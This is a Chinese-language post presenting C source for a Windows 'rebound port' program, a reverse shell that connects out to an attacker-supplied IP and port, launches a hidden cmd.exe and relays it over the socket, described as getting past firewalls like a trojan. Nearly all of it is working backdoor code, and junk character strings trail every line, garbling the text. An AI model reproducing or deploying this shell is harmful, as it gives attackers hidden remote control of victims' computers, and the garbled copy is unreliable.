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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 W?m?r.K?  
B9;-Blh  
/* ============================== [{F8+a^  
Rebound port in Windows NT .^^YS$%%7  
By wind,2006/7 ;b:Ct<  
===============================*/ 8H_3.MK  
#include 8phc ekh+  
#include FAAqdK0  
iG*3S)  
#pragma comment(lib,"wsock32.lib") [o)P  
c?L_n=B  
void OutputShell(); rm*Jo|eH`  
SOCKET sClient; jyPY]r  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; <,,U>0?3  
5fS89?/?  
void main(int argc,char **argv) iulM8"P  
{ 7 \aLK#  
WSADATA stWsaData; *7hr3x  
int nRet; /ve8);cH\  
SOCKADDR_IN stSaiClient,stSaiServer; fSdv%$;Hc  
@9| sNS  
if(argc != 3) E)%]?/w  
{ Qz;2RELz  
printf("Useage:\n\rRebound DestIP DestPort\n"); )+[IR  
return; Y7)YJI  
} /OaLkENgvf  
.L%_#A  
WSAStartup(MAKEWORD(2,2),&stWsaData); FA\gz?h  
mP GF Y  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); s%`o  
v`B7[B4K3  
stSaiClient.sin_family = AF_INET; 8%Zl;;W  
stSaiClient.sin_port = htons(0); aX6.XHWbDf  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); S~`& K  
}9e4?7  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 0q"&AxNsP  
{ r'fNQJ >  
printf("Bind Socket Failed!\n"); 94"R&|  
return; M")v ph^  
} X""<5s'0  
>:5/V0;,  
stSaiServer.sin_family = AF_INET; 3/o-\wWO  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 2#5SI  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); <pRb#G"  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) XbYW,a@w2  
{ t#oJr2  
printf("Connect Error!"); \(jSkrrD  
return; ,6,#Lc  
} ZVEq{x1Zc  
OutputShell(); cEO g  
}  {[o=df/  
31k.{dnm  
void OutputShell() LJYFz=p "  
{ f&B&!&gZ  
char szBuff[1024]; `TKe+oS)  
SECURITY_ATTRIBUTES stSecurityAttributes; $d?<(n  
OSVERSIONINFO stOsversionInfo; fLAOA9  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ^.Vq0Qzy]  
STARTUPINFO stStartupInfo; F)) +a&O  
char *szShell; ?%(8RQ  
PROCESS_INFORMATION stProcessInformation; 828E^Q"<  
unsigned long lBytesRead; UyBI;k^]  
4&~1|B{Z  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); h djv/  
U aj8}7v  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); [F%INl-sy  
stSecurityAttributes.lpSecurityDescriptor = 0; " GkBX  
stSecurityAttributes.bInheritHandle = TRUE; zn&NLsA  
i[@*b/A  
`gfh]7T  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); i,M<}e1  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 4StiYfae  
8v\BW^z3  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); BZ<Q.:)  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; su>GeJiPW  
stStartupInfo.wShowWindow = SW_HIDE; o X )r4H?  
stStartupInfo.hStdInput = hReadPipe; d%NO_=I.  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 1om:SHw  
+rfw)c'  
GetVersionEx(&stOsversionInfo); ~~,\BhG?  
:% )va  
switch(stOsversionInfo.dwPlatformId) %fnL  
{ '@i/?rNi%N  
case 1: 2G<\Wz  
szShell = "command.com"; LJ`*&J   
break; *=mtt^yZ  
default: 4,!#E0  
szShell = "cmd.exe"; v^0D  
break; e<6fe-g9;  
} 2Kovvh y#  
zMxHJNQ\D  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); !E8y!|7$  
Lqq RuKi  
send(sClient,szMsg,77,0); [KMW *pA7  
while(1) P!3)-apP\  
{ <V0]~3  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); XdjM/hB{fD  
if(lBytesRead) A-Be}A  
{ / CEnyE/  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); _>+!&_h  
send(sClient,szBuff,lBytesRead,0); 0+%{1JkJq  
} E58fY|9  
else jU.z{(s  
{ 4<[,"<G~3  
lBytesRead=recv(sClient,szBuff,1024,0); b6Pi:!4  
if(lBytesRead<=0) break; ?~c=Sa-  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 88x_}M^Fnl  
} Q$_y +[  
} 4v9jGwnzt  
kKL'rT6z  
return; 0=O(+ yi  
}
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